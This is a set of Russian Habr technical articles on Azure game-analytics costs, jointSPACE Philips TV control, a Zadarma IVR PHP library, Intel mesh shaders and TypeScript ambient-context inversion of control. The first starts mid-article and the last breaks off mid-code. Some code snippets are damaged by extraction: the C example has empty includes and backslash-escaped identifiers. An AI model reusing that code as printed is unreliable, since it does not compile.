Если нет ресурсов на поддержку инфраструктуры, а так же если нужен довольно дешевый старт, то эти варианты будут очень привлекательными.
Azure Databricks может быть более дешевым вариантом, если job'ы выполняются постоянно и в больших количествах.
Предложив обозначенные варианты нескольким студиям, многие заинтересовались платформенными решениями. Их можно довольно безболезненно интегрировать в существующие процессы и системы, без лишних трудозатрат по администрированию.
Ниже я рассматриваю подробный обзор по архитектуре на базе платформенного решения Azure Data Lake Analytics.
Игровая аналитика на Azure Event Hub / Azure Functions / Azure Data Factory / Azure Data Lake Analytics / Azure Stream Analytics / Power BI
-------------------------------------------------------------------------------------------------------------------------------------------
### **Архитектура**
Прикинув все за и против, я взялся за реализацию лямбда архитектуры на Azure. Она выглядит следующим образом:
[](https://github.com/PoisonousJohn/articles/raw/master/Custom_Analytics/custom-analytics-images/azure-lambda-arch.png)
**Azure Event Hub** — это очередь, буфер, который способен принимать огромное количество сообщений. Так же есть приятная фича записи сырых данных в хранилище. В данном случае — Azure Data Lake Storage (ADLS).
**Azure Data Lake Store** — хранилище, базирующееся на HDFS. Используется в связке с сервисом Azure Data Lake Analytics.
**Azure Data Lake Analytics** — сервис аналитики. Позволяет строить U-SQL запросы к данным, лежащим в разных источниках. Самый быстрый источник — ADLS. В особо сложных случаях, можно писать кастомный код для запросов, на C#. Есть удобный тулсет в Visual Studio, с подробным профайлингом запросов.
**Azure Stream Analytics** — сервис для обработки потока данных. В данном случае используется для аггрегации "горячих" данных и передачи их для визуализации в PowerB
**Azure Functions** — сервис для размещения serverless приложений. В данной архитектуре используется для "кастомной" обработки очереди событий.
**Azure Data Factory** — довольно спорный инструмент. Позволяет организовывать "пайплайны" данных. В данной конкретной архитектуре, используется для запуска "батчей". То есть запускает запросы в ADLA, вычисляя срезы за определенное время.
**PowerBI** — инструмент бизнес аналитики. Используется для организации всех дашбордов по игре. Умеет отображать реалтайм данные.
То же решение, но в другой перспективе.
Здесь хорошо видно, что в Event Hubs клиенты могут как напрямую, так и через API Gateway. Аналогично, в Event Hubs можно кидать и серверную аналитику.
### **Обработка очереди событий**
#### Холодные данные
После поступления в EventHub, события идут двумя путями: холодным и горячим. Холодный путь ведет в хранилище ADLS. Для сохранения событий есть несколько вариантов.
##### EventHub's Capture
Самый простой — использовать Capture фичу EventHub'a. Она позволяет автоматически сохранять сырые данные, поступающие в хаб, в одно из хранилищ: Azure Storage или ADLS. Фича позволяет настроить паттерн именования файлов, правда сильно ограниченный.
Хотя фича и полезная, подойдет она не во всех случаях. Например, мне она не подошла, так как время, используемое в паттерне для файлов, соответствует времени прибытия ивента в EventHub.
По факту, в играх, ивенты могут накапливаться клиентами, а затем посылаться пачкой. В таком случае, ивенты попадут в неправильный файл.
> Организация данных в файловой структуре очень важна для эффективности ADLA. Накладные расходы на открытие/закрытие файла довольно велики, поэтому ADLA будет наиболее эффективным при работе с большими файлами. Опытным путем, я выяснил оптимальный размер — от 30 до 50 Мб. В зависимости от нагрузки, может понадобиться разбивать файлы по дням/часам.
Еще одна причина — отсутствтие возможности разложить ивенты по папкам, в зависимости от типа самого ивента. Когда дело дойдет до аналитики, запросы должны будут быть максимально эффективными. Самый оптимальный способ отфильтровать ненужные данные — не читать файлы совсем.
Если события будут смешаны внутри файла по типу (например, события авторизации и экономические события), то часть вычислительных мощностей аналитики будет тратиться на откидывание ненужных данных.
**Плюсы:**
* Быстро настроить
* Просто работает, без всяких заморочек
* Дешево
**Минусы:**
* Поддерживает только AVRO формат при сохранении событий в хранилище
* Обладает достаточно ограниченными возможностями по именованию файлов
##### Stream Analytics (Холодные данные)
Stream Analytics позволяет писать SQL-подобные запросы к потоку событий. Есть поддержка EventHub'a как источника данных и ADLS в качестве вывода. Благодаря этим запросам, в хранилище можно складывать уже трансформированные/агреггированные данные.
Аналогично, обладает скудными возможностями по именованию файлов.
**Плюсы:**
* Быстрая и простая настройка
* Поддерживает несколько форматов для ввода/вывода событий
**Минусы:**
* Обладает достаточно ограниченными возможностями по именованию файлов
* Высокая цена
* Отсутствие динамического масштабирования
##### Azure Functions (Холодные данные)
Наиболее гибкое решение. В Azure Functions есть binding для EventHub, и не надо заморачиваться с разбором очереди. Так же Azure Functions автоматически скалируются.
Именно на этом решении я остановился, так как смог размещать события в папках, соответствующих времени генерации события, а не его прибытия. Так же сами события удалось раскидать по папкам, согласно типу события.
Для биллинга есть две опции:
* Consumption Plan — трушный serverless, платите за используемую память в секунду. При больших нагрузках может быть дороговато
* App Service Plan — в данном варианте у Azure Functions есть сервер, его тип можно выбирать, вплоть до бесплатного, есть возможность автомасштабирования. Именно это опция в моем случае оказалась дешевле.
**Плюсы:**
* Гибкость в именовании файлов с сырыми данными
* Динамическое масштабирование
* Есть встроенная интеграция с EventHub
* Низкая стоимость решения, при правильно выбранном биллинге
**Минусы:**
* Необходимо писать кастомный код
#### Горячие данные
##### Stream Analytics (Горячие данные)
Опять же Stream Analytics самое простое решение для аггрегации горячих данных. Плюсы и минусы примерно те же, что и для холодного пути. Основным плюсом Stream Analytics является интеграция с PowerBI. Горячие данные можно отгружать в "реальном" времени.
**Плюсы:**
* Быстрая и простая настройка
* Имеет множество выводов, включая SQL, Blob Storage, PowerBI
**Минусы:**
* Поднможество T-SQL, используемое в Stream Analytics, все же имеет свои ограничения, при решении некоторых задач можно упереться в лимиты
* Цена
* Отсутствие динамического масштабирования
##### Azure Functions (Горячие данные)
Все то же самое, что и в холодных данных. Не буду подробно описывать.
**Плюсы:**
* Полностью кастомная логика
* Динамическое масштабирование
* Встроенная интеграция с EventHub
* Низкая стоимость решения, при правильно выбранном биллинге
**Минусы:**
* Необходимо писать кастомный код
* Так как функции stateless, необходимо отдельное хранилище состояния
Считаем цену полного решения
----------------------------
Итак, расчет для нагрузки 1000 событий в секунду.
| Решение | Цена |
| --- | --- |
| Azure EventHub | $10.95 |
| Azure Stream Analytics | $80.30 |
| Azure Functions | $73.00 |
| Azure Data Lake Store | $26.29 |
| Azure Data Lake Analytics | $108.00 |
В большинстве случаев Stream Analytics может не понадобится, поэтому итого будет **от $217 до $297.**
Теперь про то как я считал. Стоимость Azure Data Lake Analytics я взял из расчетов выше.
### **Расчет Azure Event Hub**
Azure Event Hub — биллится за каждый миллион сообщений, а так же за пропускную способность в секунду.
Пропускная способность одного throughput unit (TU) 1000 событий / сек или 1МБ/сек, что наступит раньше.
Мы считаем для 1000 сообщений в сек, то есть необходимо 1 TUs. Цена за TU на момент написания статьи `$0.015` за **Basic** тир. Принято считать, что в месяце 730 часов.
`1 TU * $0.015 * 730 ч = $10.95`
Считаем количество сообщений в месяц, с учетом одинаковой нагрузки в течение месяца (ха! такого не бывает):
`1000 * 3600 сек * 730 ч = 2 628 000 000 событий`
Считаем цену за количество входящих событий. Для Западной Европы, на момент написания статьи, цена была `$0.028` за миллион событий:
`2 628 000 000 / 1 000 000 * $0.028 = $73.584`
Итого `$10.95 + $73.584 = $84.534`.
Что-то много выходит. Учитывая, что события обычно достаточно мелкие — это не выгодно.
Придется на клиенте написать алгоритм упаковки нескольких событий в одно (чаще всего так и делают). Это не только позволит уменьшить количество событий, но и **сократить количество необходимых TUs при дальнейшем росте нагрузки**.
Я взял выгрузку реальных ивентов из существующей системы и посчитал средний размер — 0.24KB. Максимально допустимый размер события в EventHub 256KB. Таким образом, мы можем упаковать приблизительно 1000 событий в одно.
Но тут есть тонкий момент: хоть максимальный размер события и 256KB, **биллятся они кратно 64KB**. То есть максимально упакованное сообщение будет посчитано как 4 события.
Пересчитаем с учетом этой оптимизации.
`$73.584 / 1000 * 4 = $0.294`
Вот это уже значительно лучше. Теперь посчитаем какая пропускная способность нам нужна.
`1000 events per second / 1000 events in batch * 256KB = 256KB/s`
Это вычисление показывает и другую важную особенность. Без батчинга ивентов нужно было бы 2.5MB/s, что потребовало бы 3TU. А мы ведь считали что нужен всего 1TU, ведь мы отправляем 1000 ивентов в секунду. Но лимит по пропускной способности наступил бы раньше.
В любом случае, мы можем уложиться в 1 TU вместо 3! И расчеты можно не менять.
Считаем цену для TU.
Итого получаем `$10.95 + $0.294 = $11.244`.
Сравним с ценой без учета упаковки ивентов: `(1 - $11.244 / $84.534) * 100 = 86.7%`.
На 86% выгоднее!
Упаковку событий нужно обязательно учесть при реализации этой архитектуры.
Расчет Azure Data Lake Store
----------------------------
Итак, давайте прикинем примерный порядок роста размера хранилища. Мы уже посчитали, что при нагрузке 1000 событий в секунду, мы получаем 256КБ/сек.
`256КБ * 3600 сек * 730 ч = 657 000 MБ = 641 ГБ`
Это довольно большая цифра. Скорее всего 1000 событий в секунду будут только часть времени суток, но тем не менее, стоит посчитать худший вариант.
`641 ГБ * $0.04 = $25.64`
Еще ADLS биллится за каждые 10000 транзакций с файлами. Транзакции — это любое действие с файлом: чтение, запись, удаление. К счастью удаление бесплатное =).
Давайте посчитаем чего нам стоит только запись данных. Воспользуемся предыдущими расчетами, мы собираем 2 628 000 000 событий в мес, но мы их упаковываем по 1000 в один ивент, поэтому 2 628 000 событий.
`2 628 000 транзакций записи / 10000 транзакций * $0.05 = $13.14`
Что-то не очень дорого, но можно уменьшить, если записывать батчами по 1000 событий. Упаковку нужно делать на уровне клиентского приложения, и батч записи на уровне обработки событий из EventHub.
`$13.14 / 1000 = $0.0134`
Вот это уже недурно. Но опять же, нужно учесть батчинг при разборе очереди EventHub.
Итого `$26.28 + $0.0134 = $26.2934`
Расчет Azure Functions
----------------------
Использование Azure Functions возможно как для холодного, так и для горячего путей. Аналогично, их можно деплоить как одно приложение, так и отдельно.
Я посчитаю самый простой вариант, когда они крутятся как одно приложение.
Итак, у нас нагрузка 1000 событий в секунду. Это не очень много, но и не мало. Ранее я говорил, что Azure Functions могут обрабатывать события в батчах, причем это делают более эффективно, чем обработка событий по отдельности.
Если взять размер батча в 1000 событий, то нагрузка становится `1000 / 1000 = 1 реквест в секунду`. Что совсем смешная цифра.
Посему можно деплоить все в одно приложение, и такую нагрузку потянет один минимальный инстанс S1. Его стоимость $73. Можно, конечно, взять и B1, он еще дешевле, но я бы перестраховался, и остановился на S1.
Расчет Stream Analytics
-----------------------
Stream Analytics нужен только для продвинутых реал-тайм сценариев, когда нужна механика скользящего окна. Это довольно редкий сценарий для игр, так как основная статистика рассчитывается на основе окна в день, и сбрасывается при наступлении следующего дня.
Если же вам нужен Stream Analytics, то гайдлайны рекомендуют начать с размера в 6 Streaming Units (SUs), что равно одной выделенной ноде. Далее нужно смотреть нагрузку работы, и скалировать SUs соответственно.
По моему опыту, если запросы не включают DISTINCT, или окно довольно маленькое (час), то достаточно одного SU.
`1 SU * $0.110 * 730 hours = $80.3`
Итоги
-----
Существующие решения, предлагаемые на рынке, довольно мощные. Но их все равно недостаточно для продвинутых задач, они всегда имеют либо лимиты производительности, либо ограничения по кастомизации. И даже средние игры начинают довольно быстро в них упираться. Это побуждает на разработку собственного решения.
Встав перед выбором стека технологий, я прикинул цену. Мощняцкий Apache стек способен справиться с любыми задачами и нагрузками, но управлить им нужно вручную. Если вы не можете его легко масштабировать, то он обходится очень дорого, особенно если машины не загружены на 100% 24/7. Плюс, если вы не знакомы со стеком, для дешевого и быстрого старта такое решение не подойдет.
Если вкладываться в разработку и поддержку инфраструктуры не хочется, нужно смотреть в сторону облачных платформ. Игровая аналитика требует, в основном, периодических расчетов. Раз в день, например. Поэтому возможность платить только за то, что используешь — как раз в точку.
Самый дешевый и быстрый старт даст решение на базе ADLA. Более богатое и гибкое решение — Azure Databricks.
Так же могут быть и гибридные варианты.
Те студии, с которыми мы работали, предпочли облачные решения, как самый простой вариант для интеграции в существующие процессы и системы.
При использовании облачных сервисов нужно очень осторожно подходить к построению решения. Нужно изучать принципы формирования цены и учитывать необходимые оптимизации для снижения стоимости.
В итоге, расчеты показывают, что для 1000 запросов в секунду, что является средним показателем, кастомную систему аналитики можно получить за $300 в месяц. Что довольно дешево. При этом в разработку **своего** решения не нужно вкладывать ничего. Что интересно, вариант с ADLA, в отличие от других решений, при простое не потребляет денег совсем. Поэтому он очень интересен и для dev&test сценариев.
В следующих статьях я детально расскажу о технических аспектах реализации.
Там же расскажу о неприятных моментах. Например, Azure Stream Analytics для игровых сценариев показал себя не очень хорошо. Многие запросы завязаны на DAU, а его расчет требует расчета уников через DISTINCT. Это убивало производительность, и выливалось в копеечку. Решили проблему простым кодом на Azure Functions + Redis.
Мне нравится, хочу хочу хочу
----------------------------
Я — часть команды Microsoft, которая помогает партнерам строить интересные и эффективные решения. Мы сейчас ищем еще несколько игровых компаний, с которыми можно сделать подобный проект по аналитике, или придумать новые интересные сценарии. Мы будем рассказывать такие истории уже на примере реальных игр.
Мы не только за слово, но и за дело, поэтому мы готовы, вместе с вашими разработчиками и аналитиками, сесть рука об руку, и разработать такой проект или пилот. Мы поможем подготовить статьи для интересных проектов. Возможны и другие варианты плюшек с нашей стороны.
Если вы заинтересовались, пишите в личку, или по контактам в профиле. | https://habr.com/ru/post/351206/ | null | ru | null |
# jointSPACE: управляем телевизором Philips по сети
Удивившись практически полному отсутствию информации по данной теме, решил написать этот пост.
В двух словах jointSPACE — это OpenSource платформа, созданная для разработки пользовательских приложений для телевизоров Philips. Она являет собой открытый API для разработки приложений двух типов:
* Приложения, запускаемые на удаленной системе, рендеринг и управление которыми производится средствами интерфейса телевизора.
* Приложения для управления телевизором с удаленных систем
Существует SDK под Linux, iOS, MacOS, Android и Windows (как cygwin, так и родной под Visual Studio). Разработчиками и сообществом написано множество [примеров](http://jointspace.sourceforge.net/download.html) для разных платформ. Особенно хочу отметить запуск игры Doom на телевизоре с управлением с пульта.
На телевизоре должна быть установлена последняя прошивка и включена функция jointSPACE.
Пока что, поддерживаются ТВ следующих моделей:
— 2k10 (xxPFLxxx5)
— 2k9 (xxPFLxxx4)
([полный список](http://jointspace.sourceforge.net/download.html) поддерживаемых моделей).
Включается быстрым набором с пульта комбинации «5646877223».
##### Пример использования
Что касается меня, появление технологии стало отличной новостью — я смог реализовать давнишнюю мечту: переводить телевизор и ПК в режим просмотра кино одним кликом.
Телевизор у меня подключен к компьютеру с Windows 7 посредством HDMI-кабеля, звук выводится по нему же. Чтобы начать просмотр фильма, приходилось: нажимать WinKey+P, выбирать вывод на телевизор, на телевизоре нажимать кнопку выбора источника, стрелками выбирать нужный HDMI-порт, жать OK.
Я решил написать небольшую программку на SDK под cygwin, позволяющую проделывать эти действия в один клик. Так как API не умеет вызывать нужную мне функцию, пришлось эмулировать нажатия клавиш.
```
#include
#include
int $i;
int main (int argc, char \*argv[])
{
jslibrc\_Init( &argc, &argv );
// Жмем кнопку Source на пульте
jslibrc\_KeyDown(keySourceRc6, 0, 56);
jslibrc\_KeyUp(keySourceRc6, 0, 56);
//Ждем 2 секунды чтобы телек "подумал"
sleep(2);
// N раз жмем кнопку "вверх", чтобы поднять курсор гарантированно вверх
for($i=0; $i <= 20; $i++)
{
jslibrc\_KeyDown(keySourceRc6, 0, 88);
jslibrc\_KeyUp(keySourceRc6, 0, 88);
}
// Два раза жмем вниз, чтобы выбрать HDMI 2
jslibrc\_KeyDown(keySourceRc6, 0, 89);
jslibrc\_KeyUp(keySourceRc6, 0, 89);
sleep(1);
jslibrc\_KeyDown(keySourceRc6, 0, 89);
jslibrc\_KeyUp(keySourceRc6, 0, 89);
sleep(1);
// Жмем ОК
jslibrc\_KeyDown(keySourceRc6, 0, 92);
jslibrc\_KeyUp(keySourceRc6, 0, 92);
// Меняем дисплей, запуская виндовую программу (которая вызывается по WinKey+P)
//WinExec("c:\\windows\\system32\\displayswitch.exe /internal",SW\_SHOW);
jslibrc\_Exit();
return 1;
}
```
Вот так, в несколько строчек, реализовалась моя мечта. Я не считаю себя программистом, поэтому код достаточно крив и не доделан, но суть, думаю, ясна.
##### Перспективы
Технология открывает большой простор для фантазии разработчиков. На экран ТВ можно выводить какую угодно интерактивную информацию и взаимодействовать с пользователем. Кто-то захочет следить за [твиттером](http://www.youtube.com/watch?v=O-ExuSmFLuQ) во время просмотра телепередач, а кому-то захочется видеть статус работы микроволновки или чайника. Поддерживается управление сразу множеством телевизоров в подсети.
**Для тех, кому интересно:**
— [Сайт проекта (на SourceForge.net)](http://jointspace.sourceforge.net)
— [Наиболее наглядное описание процесса разработки](http://sourceforge.net/apps/mediawiki/jointspace/index.php?title=Remote_Applications_Development)
— [jointSPACE SDK tutorial for Cygwin (установка и настройка SDK + основы)](http://jointspace.sourceforge.net/projectdata/presentations/jointSPACE_SDK_tutorial.pdf)
— [jointSPACE API Reference Manual (полное описание API)](http://jointspace.sourceforge.net/projectdata/jointSPACE_API_Reference_Manual.pdf) | https://habr.com/ru/post/126654/ | null | ru | null |
# Голосовое меню своими руками
Даже в 2021 году большая часть общения с клиентами происходит по телефону. Незаменимыми остаются виртуальная АТС и голосовое меню. Но настраивать его через веб интерфейсы часто недостаточно функционально, а делать через API или asterisk сложно.
Чтобы максимально упростить создание IVR через API, мы создали готовый метод, который просто настраивается под любые нужды. С этим методом можно создать сложный IVR через webhook, не написав ни одной строчки кода.
### Как работает и зачем нужно голосовое меню?
Голосовое меню — это и инструмент навигации, и уменьшение ручного труда. Кроме того, помощью IVR можно автоматически обрабатывать запросы клиента. Например, клиент вводит номер заказа и узнает актуальную информацию о его статусе. Навигация в IVR обычно происходит через нажатие кнопок на телефоне абонента (DTMF-сигналы).
Управление меню через вебхуки, позволяет все решения о его поведении принимать онлайн на вашей стороне. То есть вы можете полностью интегрировать IVR со своей системой и менять его поведение по любым параметрам (хоть по фазе луны).
### Строим IVR через вебхуки
Простое голосовое меню можно создать и без API, в меню настроек [виртуальной АТС](https://zadarma.com/ru/services/pbx/). Здесь можно выбрать кому когда звонить, загрузить приветствие, или начитать текст с помощью робота.
Более сложное меню (многоуровневое, либо интегрированное в вашу систему) реализуется через webhooks, с помощью **готовой PHP библиотеки**, которую можете найти на [Github](https://github.com/zadarma/multi-ivr).
Библиотека максимально универсальна, IVR любой сложности задается в ее конфигурации, и менять код понадобится только для интеграции логики со своей системой.
Для размещения библиотеки конечно нужен web сервер, куда будут приходить вебхуки.
Требования для библиотеки:
PHP >= 7.2.0
cURL
TLS v1.2
php-mbstring
Также для работы с IVR по вебхукам нужно заранее подготовить настройки (их можно подготовить и через API, но для одной своей АТС проще через личный кабинет):
1. Активная беслпатная АТС
2. В разделе меню “Моя АТС — Входящие звонки и голосовое меню” загружены или начитаны аудиофайлы для меню и настроены сценарии;
3. В разделе “Моя АТС — Внутренние номера” добавлено нужное количество внутренних номеров согласно сценарию, и на всех номерах настроено оборудование для приема звонков
4. Подключен виртуальный номер (на выбор номера в 100 странах мира и 100 городах России)
5. В личном кабинете сервиса сгенерированы Key и Secret для работы с API.
6. В разделе “Уведомления о звонках в АТС” настроек API, нужно задать ссылку на скрипт на вашем сервере.
Ссылка указывает на PHP скрипт с настройками:
```
php
use MultiIvr\MultiIvr;
if (isset($_GET['zd_echo'])) {
exit($_GET['zd_echo']);
}
require_once 'vendor/autoload.php';
$key = 'Your api key';
$secret = 'Your api secret';
$ivrMenuConfig = 'your config';
MultiIvr::default()-handle($key, $secret, $ivrMenuConfig);
```
Где $key и $secret ключи для авторизации в интерфейсе API, которые вы получили в личном кабинете. $ivrMenuConfig — текстовый файл с конфигурацией вашего меню. О нем речь пойдет чуть ниже.
Для удобства настройки вся конфигурация IVR хранится в текстовом файле. Для изменения под себя не нужно менять весь код — достаточно поменять настройки.
### Пример конфигурации, создаем двухуровневое меню
**Первый уровень:** Вы позвонили в компанию Вектор. Если вы находитесь в Москве — нажмите 1. Если вы находитесь в Екатеринбурге — нажмите 2.
**Кнопка 1:** Вы позвонили в московское отделение компании Вектор. Для связи с менеджером нажмите 1. Если хотите связаться с отделом технической поддержки — нажмите 2. Если у вас другой вопрос — дождитесь ответа оператора.
**Кнопка 2:** Вы позвонили в отделение компании Вектор в Екатеринбурге. Для связи с менеджером нажмите 1. Если хотите связаться с отделом технической поддержки — нажмите 2. Если у вас другой вопрос — дождитесь ответа оператора.
Файл конфигурации будет выглядеть следующим образом:
```
start default action=goto action-target=main
menu name=main playfile=43d8a740ec123456
menu name=main button=1 action=goto action-target=main.1
menu name=main button=2 action=goto action-target=main.2
menu name=main default action=redirect action-target=100
menu name=main.1 playfile=a279dd3a123457
menu name=main.1 button=1 action=redirect action-target=102
menu name=main.1 button=2 action=redirect action-target=1-5
menu name=main.1 default action=redirect action-target=100
menu name=main.2 playfile=a6842305f123458
menu name=main.2 button=1 action=redirect action-target=105
menu name=main.2 button=2 action=redirect action-target=6-7
menu name=main.2 default action=redirect action-target=100
```
Теперь рассмотрим конкретнее:
action — это тип действия. Возможны два значения:
redirect — перевод на сценарий или внутренний номер АТС;
goto — переход на голосовое меню по его имени;
В нашем примере:
* Внутренний номер 102 — менеджер в Москве
* Внутренний номер 100 — оператор первой линии, который отвечает на все звонки;
* Сценарии 1-5 — линия поддержки в Москве
* Внутренний номер 105 — менеджер в Екатеринбурге
* Сценарии меню 6-7 — линия поддержки в Екатеринбурге
* playfile=a6842305f1234568 — загруженный файл голосового приветствия. Найти ID файла можно в разделе Моя АТС — Входящие звонки и Голосовое меню — Выбрать или начитать другой файл.
Из дополнительных настроек вы можете задать, например, расписание и рабочее время. Другие примеры вы также найдете на [Github](https://github.com/zadarma/multi-ivr).
### Интеграция со своей системой
АТС Zadarma уже имеет множество готовых [интеграций](https://zadarma.com/ru/solutions/integrations/) с популярными CRM/ERP/Helpdesk — системами. Однако, если у вас собственная система, вы также легко сможете её интегрировать с телефонией Zadarma через API. Подробная [инструкция](https://zadarma.com/ru/support/instructions/crm-zadarma/) по интеграции. Вы можете легко применять данную библиотеку для IVR, в своей интеграции, что позволит управлять голосовым меню из своей системы. Управляя меню из своей системы, легко делать динамические меню, например робота опросника, или «липкие звонки» приходящие на ответственного менеджера либо просто того кто говорил с этим номером.
Надеемся данная библиотека будет полезна для простой и быстрой интеграции голосовых сервисов. Про возможности большей интеграции голоса в вашу систему, напишем в следующей статье. | https://habr.com/ru/post/550362/ | null | ru | null |
# Теперь поддержка Mesh Shaders появится и в продуктах Intel Arc Alchemist
[](https://habr.com/ru/company/ruvds/news/t/649769/)
В стремлении соответствовать технологическому уровню конкурентов, компания Intel добавила пока что экспериментальную поддержку Mesh Shaders в драйвер Vulkan для Linux, позволив задействовать эту технологию на линейке продуктов Arc Alchemist.
Mesh shaders (cеточные шейдеры) представляют одну из наиболее интересных разработок в сфере компьютерной графики, хотя многие о них наверняка не слышали. В своей сути они являются программируемым типом шейдера, который позволяет GPU переносить часть нагрузки с фиксированных функций аппаратных средств на обширный вычислительный массив GPU.
Их довольно сложно использовать и реализовывать – о чем свидетельствует анонс компанией AMD очень похожих, но так и не увидевших свет, шейдеров примитивов [при запуске линейки Vega](https://hothardware.com/reviews/amd-vega-gpu-architecture-details-revealed?page=2).
В Nvidia же эту идею воплотили в серии Turing и, естественно, в Ampere. Из продуктов AMD новый вид шейдеров поддерживается только архитектурой RDNA2. При правильном использовании сеточные шейдеры могут обеспечить существенный прирост производительности в сложных сценах с большим объемом геометрии. И это довольно важно, так как количество используемых в играх полигонов начинает зашкаливать. Для примера можете оценить ролики, демонстрирующие движок Unreal Engine 5.
*Сравнение традиционного конвейера рендеринга с конвейером при участии сеточных шейдеров. Источник: [статья NVIDIA](https://developer.nvidia.com/blog/introduction-turing-mesh-shaders/)*
В 3DMark даже есть [специальный тест](https://hothardware.com/news/3dmark-interactive-mesh-shader-benchmark-dx12-ultimate-gpus), демонстрирующий преимущества новых шейдеров. В нем отображается огромный зал с множеством очень детальных резных колонн.
Производительность традиционного конвейера рендеринга в этой сцене ужасно страдает из-за чрезмерного объема прорисовки, но при использовании сеточных шейдеров ускоритель может отбрасывать (и, таким образом, пропускать отрисовку) всей геометрии вне области видимости. В этом тесте, как правило, можно наблюдать прирост производительности в 15 и более раз. Конечно, там представлен нереалистичный сценарий самого тяжелого случая, но ведь это демо, и оно просто демонстрирует суть.
*3DMark-тест сеточных шейдеров*
Тут вполне понятно, если Intel хотят тягаться с серьезными ребятами в области дискретных видеокарт, то им необходима поддержка таких шейдеров. О том, что их оборудование на это способно, уже известно, так как компания [продемонстрировала](https://hothardware.com/news/intel-xe-hpg-gaming-gpu-3dmark-mesh-shader-test) графические чипы, проходящие тот самый тест в 3DMark с использованием DirectX 12. Но теперь они заработают и на Vulkan, поскольку последняя версия открытого драйвера Intel ANV Vulkan для Linux получила предварительную поддержку сеточных шейдеров за счет расширения `VK_NV_mesh_shader`.
Думаю, понятно, что это расширение Nvidia; консорциум Khronos Group еще не опубликовал межвендорное расширение для поддержки нового вида шейдеров. Надеемся, что это произойдет как можно раньше, чтобы AMD и Intel (а значит и разработчики игр) смогли свободно задействовать поддержку сеточных шейдеров в Vulkan. Если вы разработчик и желаете поиграться с этой технологией на оборудовании Intel, то сначала нужно установить переменную среды `ANV_EXPERIMENTAL_NV_MESH_SHADER`, так как по умолчанию поддержка отключена.
Перевод новости: [Intel Vulkan Linux Driver Brings Experimental Mesh Shader Support To Arc Alchemist](https://hothardware.com/news/intel-vulkan-linux-driver-mesh-shader-support-to-arc-alchemist)
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=Bright_Translate&utm_content=psion_pda_%E2%80%94_kak_on_vyglyadit_segodnya?) | https://habr.com/ru/post/649769/ | null | ru | null |
# Инверсия контроля на голом TypeScript без боли
Здравствуйте, меня зовут Дмитрий Карловский и (сколько себя помню) я борюсь со своим окружением. Ведь оно такое костное, дубовое, и никогда не понимает, что я от него хочу. Но в какой-то момент я понял, что хватит это терпеть и надо что-то менять. Поэтому теперь не окружение диктует мне, что я могу и не могу делать, а я диктую окружению каким ему быть.
Как вы уже поняли, далее речь пойдёт про инверсию контроля через "контекст окружения". Многим этот подход уже знаком по "переменным окружения" - они задаются при запуске программы и обычно наследуются для всех программ, которые та запускает. Мы же применим эту концепцию для организации нашего кода на TypeScript.
Итак, что мы хотим получить:
* Функции при вызове наследуют контекст у вызвавшей их функции
* Объекты наследуют контекст у их объекта-владельца
* В системе может существовать одновременно множество вариантов контекста
* Изменения в производных контекстах не влияют на исходный
* Изменения в исходном контексте отражаются на производных
* Тесты могут запускаться в изолированном и не изолированном контексте
* Минимум бойлерплейта
* Максимум перфоманса
* Тайпчек всего этого
Давайте, объявим какую-нибудь глобальную константу в глобальном контексте окружения:
```
namespace $ {
export let $user_name: string = 'Anonymous'
}
```
Теперь добавим в глобальный контекст какую-нибудь функцию. Например, функцию записи в лог:
```
namespace $ {
export function $log( this: $, ... params: unknown[] ) {
console.log( ... params )
}
}
```
Обратите внимание на типизированный `this`. Он гарантирует, что данную функцию нельзя будет вызвать напрямую так:
```
$log( 123 ) // Error
```
Вызвать её можно исключительно из какого-либо контекста окружения. Например, из глобального контекста:
```
$.$log( 123 ) // OK
```
Однако, пока что `$` у нас - это неймспейс, а не тип. Давайте для простоты создадим и одноимённый тип:
```
namespace $ {
export type $ = typeof $
}
```
А раз мы получаем контекст окружения в `this`, то можем его использовать и для вызова других функций. Например, напишем функцию, которая приветствует пользователя по имени:
```
namespace $ {
export function $hello( this: $ ) {
this.$log( 'Hello ' + this.$user_name )
}
}
```
Таким образом мы естественным образом можем передавать контекст окружения по стеку вызовов функций на любую глубину. Но в этом мало смысла, пока контекст всего один. Поэтому добавим фабрику контекстов, которая берёт текущий контекст, наследует от него производный, патчит его переданными ей переопределениями и возвращает:
```
namespace $ {
export function $ambient(
this: $,
over = {} as Partial< $ >,
): $ {
const context = Object.create( this )
for( const field of Object.getOwnPropertyNames( over ) ) {
const descr = Object.getOwnPropertyDescriptor( over, field )!
Object.defineProperty( context, field, descr )
}
return context
}
}
```
`Object.create` мы используем, чтобы создание производного контекста было быстрым, даже если он разрастётся. А вот `Object.assign` не используется, чтобы в переопределениях можно было задавать не только значения, но и геттеры, и сеттеры. Эта фабрика нам ещё пригодится, а пока давайте напишем наш первый тест:
```
namespace $.test {
export function $hello_greets_anon_by_default( this: $ ) {
const logs = [] as unknown[]
this.$log = logs.push.bind( logs )
this.$hello()
this.$assert( logs, [ 'Hello Anonymous' ] )
}
}
```
Тест принимает на вход контекст кружения, и первым делом он настраивает контекст под себя - патчит функцию `$log`, чтобы та сохраняла все логи в локальную переменную. Потом мы запускаем тестируемую функцию в нашем контексте, и наконец, проверяем, что в логи вывелось именно то, что мы ожидаем. Напишем простейшую функцию для асертов:
```
namespace $ {
export function $assert< Value >( a: Value, b: Value ) {
const sa = JSON.stringify( a, null, '\t' )
const sb = JSON.stringify( b, null, '\t' )
if( sa === sb ) return
throw new Error( `Not equal\n${sa}\n${sb}`)
}
}
```
Обратите внимание, что мы поместили тест в отдельный неймспейс `$.$test`. Это нужно для того, чтобы взять и запустить все тесты скопом:
```
namespace $ {
export async function $test_run( this: $ ) {
for( const test of Object.values( this.$test ) ) {
await test.call( this.$isolated() )
}
this.$log( 'All tests passed' )
}
}
```
Каждый тест запускается не в оригинальном контексте, а в изолированном. Это такой производный контекст, где замоканы все сущности, что общаются со внешним миром (сетевые запросы, время, консоль, файлы, рандом и т.д.). Исходно, она просто создаёт новый производный контекст:
```
namespace $ {
export function $isolated( this: $ ) {
return this.$ambient({})
}
}
```
Но наша функция `$log` пишет в реальную консоль, что не очень-то похоже на изоляцию. Поэтому, рядом с ней мы положим переопределение `$isolated`, которое переопределяет в контексте `$log` на реализацию без сайд эффектов:
```
namespace $ {
const base = $isolated
$.$isolated = function( this: $ ) {
return base.call( this ).$ambient({
$log: ()=> {}
})
}
}
```
Теперь мы уверены, что любые тесты по умолчанию не будут ничего писать в реальную консоль даже если мы не переопределим в них функцию `$log`.
Давайте так же напишем и тест, что наши переопределения контекстов работают исправно:
```
namespace $.test {
export function $hello_greets_overrided_name( this: $ ) {
const logs = [] as unknown[]
